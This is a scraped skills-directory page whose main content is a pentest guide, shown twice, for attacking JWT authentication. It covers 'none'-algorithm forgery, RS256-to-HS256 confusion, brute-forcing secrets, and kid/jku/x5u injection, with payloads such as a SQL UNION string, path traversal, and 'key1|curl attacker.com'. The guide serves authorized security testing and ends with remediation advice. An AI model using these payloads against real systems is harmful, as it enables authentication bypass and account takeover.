[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGB3GFPDADE5QFZZ9BNG58":3,"skill-same:01M6AGB3GFPDADE5QFZZ9BNG58":114},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AGB3GFPDADE5QFZZ9BNG58","testing-for-json-web-token-vulnerabilities",null,"Tests JWT implementations for algorithm confusion, \"none\" algorithm bypass, kid\u002Fjku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth\u002Fsession management, OAuth2\u002FOIDC token handling, or SSO systems during a security engagement.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"testing for json web token vulnerabilities","vulnerabilities","web","testing","authentication-bypass","jku-attack","kid-injection","json-web-token","application-security","t1505","injection","t1059","web-application-security","escalation","sso","authentication","pr","auth","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-json-web-token-vulnerabilities\ndescription: Tests JWT implementations for algorithm confusion, \"none\" algorithm bypass,\n  kid\u002Fjku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's\n  JWT Editor extension, aiming to achieve authentication bypass and privilege escalation.\n  Use when assessing JWT-based auth\u002Fsession management, OAuth2\u002FOIDC token handling, or\n  SSO systems during a security engagement.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- jwt\n- json-web-token\n- algorithm-confusion\n- authentication-bypass\n- token-forgery\n- kid-injection\n- jku-attack\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1068\n---\n\n# Testing for JSON Web Token Vulnerabilities\n\n## When to Use\n- When testing applications using JWT for authentication and session management\n- During API security assessments where JWTs are used for authorization\n- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT\n- During penetration testing of single sign-on (SSO) systems\n- When auditing JWT library configurations for known vulnerabilities\n\n## Prerequisites\n- jwt_tool (Python JWT exploitation toolkit)\n- Burp Suite with JWT Editor extension\n- jwt.io for decoding and inspecting JWT structure\n- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)\n- hashcat or john for brute-forcing weak JWT secrets\n- Python PyJWT library for custom JWT forging scripts\n- Access to application using JWT-based authentication\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Decode and Analyze JWT Structure\n```bash\n# Install jwt_tool\npip install pyjwt\ngit clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git\n\n# Decode JWT without verification\npython3 jwt_tool.py \u003CJWT_TOKEN>\n\n# Decode manually with base64\necho \"\u003Cheader_base64>\" | base64 -d\necho \"\u003Cpayload_base64>\" | base64 -d\n\n# Examine JWT in jwt.io\n# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)\n# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)\n\n# Example JWT header inspection\n# {\"alg\":\"RS256\",\"typ\":\"JWT\",\"kid\":\"key-1\"}\n# Look for: alg, kid, jku, jwk, x5u, x5c headers\n```\n\n### Step 2 — Test \"None\" Algorithm Bypass\n```bash\n# Change algorithm to \"none\" and remove signature\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a\n\n# Manual none algorithm attack:\n# Original header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Modified header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Encode new header, keep payload, remove signature (empty string after last dot)\n\n# Variations to try:\n# \"alg\": \"none\"\n# \"alg\": \"None\"\n# \"alg\": \"NONE\"\n# \"alg\": \"nOnE\"\n\n# Send forged token\ncurl -H \"Authorization: Bearer \u003CFORGED_TOKEN>\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n\n# jwt_tool automated none attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a -I -pc role -pv admin\n```\n\n### Step 3 — Test Algorithm Confusion (RS256 to HS256)\n```bash\n# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret\n\n# Step 1: Obtain the public key\n# From JWKS endpoint\ncurl http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n# From SSL certificate\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -pubkey -noout > public_key.pem\n\n# Step 2: Forge token using public key as HMAC secret\npython3 jwt_tool.py \u003CJWT_TOKEN> -X k -pk public_key.pem\n\n# Manual algorithm confusion:\n# Change header from {\"alg\":\"RS256\"} to {\"alg\":\"HS256\"}\n# Sign with public key using HMAC-SHA256\npython3 -c \"\nimport jwt\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\npayload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}\ntoken = jwt.encode(payload, public_key, algorithm='HS256')\nprint(token)\n\"\n```\n\n### Step 4 — Test Key ID (kid) Parameter Injection\n```bash\n# SQL Injection via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"' UNION SELECT 'secret-key' FROM dual--\" \\\n  -S hs256 -p \"secret-key\"\n\n# Path Traversal via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" \\\n  -S hs256 -p \"\"\n\n# Kid pointing to empty file (sign with empty string)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n\n# SSRF via kid (if kid fetches remote key)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"http:\u002F\u002Fattacker.com\u002Fkey\"\n\n# Command injection via kid (rare but possible)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"key1|curl attacker.com\"\n```\n\n### Step 5 — Test JKU\u002FX5U Header Injection\n```bash\n# JKU (JSON Web Key Set URL) injection\n# Point jku to attacker-controlled JWKS\n# Step 1: Generate key pair\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s\n\n# Step 2: Host JWKS on attacker server\n# jwt_tool generates jwks.json - host it at http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\n\n# Step 3: Modify JWT header to point to attacker JWKS\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s -ju \"http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\"\n\n# X5U (X.509 certificate URL) injection\n# Similar to JKU but using X.509 certificate chain\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc x5u -hv \"http:\u002F\u002Fattacker.com\u002Fcert.pem\"\n\n# Embedded JWK attack (inject key in JWT header itself)\npython3 jwt_tool.py \u003CJWT_TOKEN> -X i\n```\n\n### Step 6 — Brute-Force Weak JWT Secrets\n```bash\n# Brute-force HMAC secret with hashcat\nhashcat -a 0 -m 16500 \u003CJWT_TOKEN> \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using jwt_tool wordlist attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"\u003CJWT_TOKEN>\" > jwt.txt\njohn jwt.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# Common weak secrets to try:\n# secret, password, 123456, admin, test, key, jwt_secret\n# Also try: application name, company name, domain name\n\n# Once secret is found, forge arbitrary tokens\npython3 jwt_tool.py \u003CJWT_TOKEN> -S hs256 -p \"discovered_secret\" \\\n  -I -pc role -pv admin -pc sub -pv \"admin@target.com\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |\n| None Algorithm | Setting alg to \"none\" to create unsigned tokens accepted by misconfigured servers |\n| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |\n| JKU\u002FX5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |\n| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |\n| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |\n| Token Replay | Reusing valid JWTs after the intended session should have expired |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| jwt_tool | Comprehensive JWT testing and exploitation toolkit |\n| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |\n| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |\n| john the ripper | CPU-based JWT secret cracking |\n| jwt.io | Online JWT decoder and debugger for inspection |\n| PyJWT | Python library for programmatic JWT creation and verification |\n\n## Common Scenarios\n\n1. **None Algorithm Bypass** — Change JWT algorithm to \"none\", remove signature, and forge admin tokens on servers that accept unsigned JWTs\n2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access\n3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database\n4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user\n5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key\n\n## Output Format\n\n```\n## JWT Security Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **JWT Algorithm**: RS256 (claimed)\n- **JWKS Endpoint**: http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n### Findings\n| # | Vulnerability | Technique | Impact | Severity |\n|---|--------------|-----------|--------|----------|\n| 1 | None algorithm accepted | alg: \"none\" | Auth bypass | Critical |\n| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |\n| 3 | Weak HMAC secret | Brute-force: \"secret123\" | Full token forgery | Critical |\n| 4 | Kid path traversal | kid: \"..\u002F..\u002Fdev\u002Fnull\" | Sign with empty key | High |\n\n### Remediation\n- Enforce algorithm whitelist in JWT verification (reject \"none\")\n- Use asymmetric algorithms (RS256\u002FES256) with proper key management\n- Implement strong, random secrets for HMAC algorithms (256+ bits)\n- Validate kid parameter against a strict allowlist\n- Ignore jku\u002Fx5u headers or validate against known endpoints\n- Set appropriate token expiration (exp) and implement token revocation\n```\n","# Testing for JSON Web Token Vulnerabilities\n\n## When to Use\n- When testing applications using JWT for authentication and session management\n- During API security assessments where JWTs are used for authorization\n- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT\n- During penetration testing of single sign-on (SSO) systems\n- When auditing JWT library configurations for known vulnerabilities\n\n## Prerequisites\n- jwt_tool (Python JWT exploitation toolkit)\n- Burp Suite with JWT Editor extension\n- jwt.io for decoding and inspecting JWT structure\n- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)\n- hashcat or john for brute-forcing weak JWT secrets\n- Python PyJWT library for custom JWT forging scripts\n- Access to application using JWT-based authentication\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Decode and Analyze JWT Structure\n```bash\n# Install jwt_tool\npip install pyjwt\ngit clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git\n\n# Decode JWT without verification\npython3 jwt_tool.py \u003CJWT_TOKEN>\n\n# Decode manually with base64\necho \"\u003Cheader_base64>\" | base64 -d\necho \"\u003Cpayload_base64>\" | base64 -d\n\n# Examine JWT in jwt.io\n# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)\n# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)\n\n# Example JWT header inspection\n# {\"alg\":\"RS256\",\"typ\":\"JWT\",\"kid\":\"key-1\"}\n# Look for: alg, kid, jku, jwk, x5u, x5c headers\n```\n\n### Step 2 — Test \"None\" Algorithm Bypass\n```bash\n# Change algorithm to \"none\" and remove signature\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a\n\n# Manual none algorithm attack:\n# Original header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Modified header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Encode new header, keep payload, remove signature (empty string after last dot)\n\n# Variations to try:\n# \"alg\": \"none\"\n# \"alg\": \"None\"\n# \"alg\": \"NONE\"\n# \"alg\": \"nOnE\"\n\n# Send forged token\ncurl -H \"Authorization: Bearer \u003CFORGED_TOKEN>\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n\n# jwt_tool automated none attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a -I -pc role -pv admin\n```\n\n### Step 3 — Test Algorithm Confusion (RS256 to HS256)\n```bash\n# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret\n\n# Step 1: Obtain the public key\n# From JWKS endpoint\ncurl http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n# From SSL certificate\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -pubkey -noout > public_key.pem\n\n# Step 2: Forge token using public key as HMAC secret\npython3 jwt_tool.py \u003CJWT_TOKEN> -X k -pk public_key.pem\n\n# Manual algorithm confusion:\n# Change header from {\"alg\":\"RS256\"} to {\"alg\":\"HS256\"}\n# Sign with public key using HMAC-SHA256\npython3 -c \"\nimport jwt\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\npayload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}\ntoken = jwt.encode(payload, public_key, algorithm='HS256')\nprint(token)\n\"\n```\n\n### Step 4 — Test Key ID (kid) Parameter Injection\n```bash\n# SQL Injection via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"' UNION SELECT 'secret-key' FROM dual--\" \\\n  -S hs256 -p \"secret-key\"\n\n# Path Traversal via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" \\\n  -S hs256 -p \"\"\n\n# Kid pointing to empty file (sign with empty string)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n\n# SSRF via kid (if kid fetches remote key)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"http:\u002F\u002Fattacker.com\u002Fkey\"\n\n# Command injection via kid (rare but possible)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"key1|curl attacker.com\"\n```\n\n### Step 5 — Test JKU\u002FX5U Header Injection\n```bash\n# JKU (JSON Web Key Set URL) injection\n# Point jku to attacker-controlled JWKS\n# Step 1: Generate key pair\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s\n\n# Step 2: Host JWKS on attacker server\n# jwt_tool generates jwks.json - host it at http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\n\n# Step 3: Modify JWT header to point to attacker JWKS\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s -ju \"http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\"\n\n# X5U (X.509 certificate URL) injection\n# Similar to JKU but using X.509 certificate chain\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc x5u -hv \"http:\u002F\u002Fattacker.com\u002Fcert.pem\"\n\n# Embedded JWK attack (inject key in JWT header itself)\npython3 jwt_tool.py \u003CJWT_TOKEN> -X i\n```\n\n### Step 6 — Brute-Force Weak JWT Secrets\n```bash\n# Brute-force HMAC secret with hashcat\nhashcat -a 0 -m 16500 \u003CJWT_TOKEN> \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using jwt_tool wordlist attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"\u003CJWT_TOKEN>\" > jwt.txt\njohn jwt.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# Common weak secrets to try:\n# secret, password, 123456, admin, test, key, jwt_secret\n# Also try: application name, company name, domain name\n\n# Once secret is found, forge arbitrary tokens\npython3 jwt_tool.py \u003CJWT_TOKEN> -S hs256 -p \"discovered_secret\" \\\n  -I -pc role -pv admin -pc sub -pv \"admin@target.com\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |\n| None Algorithm | Setting alg to \"none\" to create unsigned tokens accepted by misconfigured servers |\n| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |\n| JKU\u002FX5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |\n| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |\n| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |\n| Token Replay | Reusing valid JWTs after the intended session should have expired |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| jwt_tool | Comprehensive JWT testing and exploitation toolkit |\n| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |\n| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |\n| john the ripper | CPU-based JWT secret cracking |\n| jwt.io | Online JWT decoder and debugger for inspection |\n| PyJWT | Python library for programmatic JWT creation and verification |\n\n## Common Scenarios\n\n1. **None Algorithm Bypass** — Change JWT algorithm to \"none\", remove signature, and forge admin tokens on servers that accept unsigned JWTs\n2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access\n3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database\n4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user\n5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key\n\n## Output Format\n\n```\n## JWT Security Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **JWT Algorithm**: RS256 (claimed)\n- **JWKS Endpoint**: http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n### Findings\n| # | Vulnerability | Technique | Impact | Severity |\n|---|--------------|-----------|--------|----------|\n| 1 | None algorithm accepted | alg: \"none\" | Auth bypass | Critical |\n| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |\n| 3 | Weak HMAC secret | Brute-force: \"secret123\" | Full token forgery | Critical |\n| 4 | Kid path traversal | kid: \"..\u002F..\u002Fdev\u002Fnull\" | Sign with empty key | High |\n\n### Remediation\n- Enforce algorithm whitelist in JWT verification (reject \"none\")\n- Use asymmetric algorithms (RS256\u002FES256) with proper key management\n- Implement strong, random secrets for HMAC algorithms (256+ bits)\n- Validate kid parameter against a strict allowlist\n- Ignore jku\u002Fx5u headers or validate against known endpoints\n- Set appropriate token expiration (exp) and implement token revocation\n```\n",{"name":5,"tags":52,"author":56,"domain":45,"license":15,"version":57,"nist_csf":58,"subdomain":39,"description":7,"mitre_attack":63},[53,34,54,31,55,33,32],"jwt","algorithm-confusion","token-forgery","mahipal","1.0",[59,60,61,62],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[64,65,66,67,68],"T1190","T1059.007","T1505.003","T1083","T1068","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-json-web-token-vulnerabilities",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FSKILL.md",true,[93,98,104,108],{"path":94,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FLICENSE",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fapi-reference.md","REFERENCE","参考文档",1944,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":105,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fcomparison-rules.md",5723,"https:\u002F\u002Fgithub.com\u002Fnoirelab\u002Flinux-setup\u002Fblob\u002Fmain\u002Fconfigs\u002Fcommon\u002Fopencode\u002Fskills\u002Fseo-drift\u002Freferences\u002Fcomparison-rules.md",{"path":109,"resourceType":110,"resourceTypeDesc":111,"sizeBytes":112,"sourceHtmlUrl":113},"scripts\u002Fagent.py","SCRIPT","脚本",8063,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002Fscripts\u002Fagent.py",[115,140,164,189,215,241],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":122,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[121],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[123,124,125,126,46,45,127,128,43,129,130,131,132,133,134,135,136,137,138,139],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":141,"name":142,"nameZh":6,"description":143,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":144,"categories":145,"keywords":147,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[146],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[148,136,149,150,46,151,45,43,152,153,154,155,156,157,158,159,160,161,162,163],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":172,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[170,171],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[158,173,174,175,30,45,176,177,152,178,179,180,181,182,183,184,185,186,187,188],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":190,"name":191,"nameZh":6,"description":192,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":193,"categories":194,"keywords":196,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[195],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[197,198,199,45,200,201,202,203,204,205,206,207,208,209,210,211,155,212,213,214],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":216,"name":217,"nameZh":6,"description":218,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":219,"categories":220,"keywords":222,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS 